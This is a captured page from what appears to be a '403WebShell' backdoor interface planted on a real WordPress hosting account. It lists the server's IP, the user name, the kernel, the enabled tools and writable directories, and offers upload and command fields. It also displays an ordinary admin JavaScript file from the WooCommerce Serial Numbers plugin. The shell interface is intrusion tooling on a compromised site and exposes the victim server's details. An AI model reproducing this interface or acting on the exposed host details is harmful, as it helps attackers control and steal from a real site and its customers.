Done ! 403WebShell
403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.168
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/www/wp-content/plugins/wc-serial-numbers/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/www/wp-content/plugins/wc-serial-numbers/assets/js/wc-serial-numbers-admin.js
/**
 * WC Serial Numbers
 * https://www.pluginever.com
 *
 * Copyright (c) 2018 pluginever
 * Licensed under the GPLv2+ license.
 */

(function ($, window) {
	'use strict';
	$.wc_serial_numbers_admin = function () {
		var plugin = this;
		plugin.init = function () {
			plugin.init_select2('.wc-serial-numbers-select-product', 'wc_serial_numbers_search_products', wc_serial_numbers_admin_i10n.i18n.search_product);
			plugin.init_datepicker('.wc-serial-numbers-select-date');
			plugin.encrypt_decrypt();
		};

		plugin.init_select2 = function (el, action, placeholder) {
			placeholder = placeholder || 'Select..';
			$(el).select2({
				ajax: {
					cache: true,
					delay: 500,
					url: window.wc_serial_numbers_admin_i10n.ajaxurl,
					method: 'POST',
					dataType: 'json',
					data: function (params) {
						return {
							action: action,
							nonce: window.wc_serial_numbers_admin_i10n.nonce,
							search: params.term,
							page: params.page
						};
					},
					processResults: function (data, params) {
						params.page = params.page || 1;
						return {
							results: data.results,
							pagination: {
								more: data.pagination.more
							}
						};
					}
				},
				placeholder: placeholder,
				minimumInputLength: 1,
				allowClear: true
			});
		};
		plugin.init_datepicker = function (el) {
			$(el).datepicker({
				changeMonth: true,
				changeYear: true,
				dateFormat: 'yy-mm-dd',
				firstDay: 7,
				minDate: new Date()
			});
		};


		plugin.encrypt_decrypt = function () {
			//show decrypted value
			$(document).on('click', '.wc-serial-numbers-decrypt-key', function (e) {
				e.preventDefault();
				var self = $(this);
				var id = self.data('serial-id');
				var nonce = self.data('nonce') || null;
				var td = self.closest('td');
				var code = td.find('.serial-key');
				var spinner = td.find('.serial-spinner');
				spinner.show();
				if (!code.hasClass('encrypted')) {
					code.addClass('encrypted');
					spinner.hide();
					code.text('');
					self.text(wc_serial_numbers_admin_i10n.i18n.show);
					return false;
				}
				wp.ajax.send('wc_serial_numbers_decrypt_key', {
					data: {
						serial_id: id,
						nonce: nonce
					},
					success: function (res) {
						code.text(res.key);
						spinner.hide();
						code.removeClass('encrypted');
						self.text(wc_serial_numbers_admin_i10n.i18n.hide);
					},
					error: function () {
						spinner.hide();
						code.text('');
						code.addClass('encrypted');
						self.text(wc_serial_numbers_admin_i10n.i18n.show);
						alert('Decrypting key failed');
					}
				});

				return false;
			});
		};
		plugin.init();
	};

	//$.fn
	$.fn.wc_serial_numbers_admin = function () {
		return new $.wc_serial_numbers_admin();
	};

	$.wc_serial_numbers_admin();
})(jQuery, window);

Youez - 2016 - github.com/yon3zu
LinuXploit